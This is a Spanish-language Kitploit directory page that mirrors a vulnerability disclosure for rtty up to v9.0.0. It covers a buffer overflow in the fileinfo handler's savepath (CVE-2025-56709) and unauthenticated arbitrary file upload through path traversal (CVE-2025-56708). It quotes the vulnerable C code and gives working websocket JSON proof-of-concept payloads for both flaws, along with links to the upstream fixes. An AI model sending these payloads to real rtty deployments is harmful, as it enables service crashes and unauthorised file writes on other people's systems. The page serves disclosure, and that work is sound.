Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
rtty_CVE-2025-56708-CVE-2025-56709 — CVE-2025-56708&CVE-2025-56709 Detalles de la vulnerabilidad | Kitploit
Herramientas/GitHubGitHub/xkaneiki/rtty_cve-2025-56708-cve-2025-56709
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebMala ConfiguraciónExplotación de Binarios
GitHubxkaneiki/rtty_cve-2025-56708-cve-2025-56709

rtty_CVE-2025-56708-CVE-2025-56709

CVE-2025-56708&CVE-2025-56709 Detalles de la vulnerabilidad

Ver Repositorio

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
3hace 10 mesesAún no revisado

CVE-2025-56708&CVE-2025-56709

【CVE-2025-56709】Desbordamiento de búfer en savepath

Resumen de la vulnerabilidad

En la versión rtty <=v9.0.0, el método fileinfo tiene una vulnerabilidad de desbordamiento que provoca que los datos se escriban continuamente en la variable global savepath, desencadenando así un desbordamiento de búfer.

Análisis de la vulnerabilidad

savepath puede ser escrito continuamente, lo que provoca el desbordamiento.

  • 【1】Se puede ver que name utiliza en realidad el espacio de memoria de savepath.
  • 【2】Si la comprobación de montaje no pasa, se entra en el flujo check_space_fail.
  • 【3】El flujo conduce al fallo, pero buffer_pull seguirá añadiendo datos al espacio de name, es decir, savepath.
root@kitploit:~
static void start_download_file(struct file_context *ctx, struct buffer *info, int len)
{
    char *name = savepath + strlen(savepath);【1】
    struct mntent *ment;
    struct statvfs sfs;
    char buf[512];
    int fd;

    ctx->total_size = ctx->remain_size = buffer_pull_u32be(info);

    ment = find_mount_point(savepath);
    if (ment) {
        uint64_t avail;

        if (!strcmp(ment->mnt_type, "ramfs")) {
            struct sysinfo si;

            if (sysinfo(&si)) {
                log_err("download file fail: '%s'\n", strerror(errno));
                goto check_space_fail;
            }

            avail = si.freeram;
        } else if (!statvfs(ment->mnt_dir, &sfs)) {
            avail = sfs.f_bavail * sfs.f_frsize;
        } else {
            log_err("download file fail: '%s'\n", strerror(errno));
            goto check_space_fail;
        }

        if (ctx->total_size > avail) {
            log_err("download file fail: no enough space\n");
            goto check_space_fail;
        }
    } else {
        log_err("download file fail: not found mount point of '%s'\n", savepath);
        goto check_space_fail;【2】
    }

    buffer_pull(info, name, len - 4);

    if (!access(savepath, F_OK)) {
        send_file_control_msg(ctx->ctlfd, RTTY_FILE_MSG_ERR_EXIST, NULL, 0);
        log_err("the file '%s' already exists\n", name);
        goto open_fail;
    }

    fd = open(savepath, O_WRONLY | O_TRUNC | O_CREAT, 0644);
    if (fd < 0) {
        send_file_control_msg(ctx->ctlfd, RTTY_FILE_MSG_ERR, NULL, 0);
        log_err("create file '%s' fail: %s\n", name, strerror(errno));
        goto open_fail;
    }

    log_info("download file: %s, size: %u\n", savepath, ctx->total_size);

    if (fchown(fd, ctx->uid, ctx->gid) < 0)
        log_err("fchown %s fail: %s\n", savepath, strerror(errno));

    if (ctx->total_size == 0)
        close(fd);
    else
        ctx->fd = fd;

    memcpy(buf, &ctx->total_size, 4);
    strcpy(buf + 4, name);

    send_file_control_msg(ctx->ctlfd, RTTY_FILE_MSG_INFO, buf, 4 + strlen(name));

    return;

check_space_fail:
    send_file_control_msg(ctx->ctlfd, RTTY_FILE_MSG_NO_SPACE, NULL, 0);
    buffer_pull(info, name, len - 4);【3】
    
open_fail:
    file_context_reset(ctx);
}

PoC de la vulnerabilidad

  • Usar websocket para enviar datos continuamente puede tumbar el servicio (incluso posible RCE).
root@kitploit:~
{"type":"fileInfo","name":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","size":50}

Solución de la vulnerabilidad

https://github.com/zhaojh329/rtty/issues/139

【CVE-2025-56708】Subida de archivos sin autorización

Resumen de la vulnerabilidad

La versión rtty <=v9.0.0 contiene una vulnerabilidad de traversal de directorios. En el protocolo interactivo, el método fileinfo tiene una falla lógica; un atacante puede secuestrar WebSocket e invocar el método fileinfo para subir archivos a cualquier ruta del sistema sin necesidad de que el usuario inicie sesión.

PoC de la vulnerabilidad

  • Secuestrando el flujo del programa websocket, a través del método fileInfo, se puede subir un archivo a cualquier directorio del sistema sin que haya un usuario autenticado.
  • Especificar el directorio de montaje
root@kitploit:~
{"type":"fileInfo","name":"home/xk/xxx/xxx/fuck1","size":50}
  • Especificar el archivo
root@kitploit:~
{"type":"fileInfo","name":"home/xk/xxx/xxxx/test/rtty/rtty/build/src/hello1","size":50}
  • Se genera el archivo en el servidor Diagrama de la vulnerabilidad

Solución de la vulnerabilidad

https://github.com/zhaojh329/rtty/issues/140

Descargar herramienta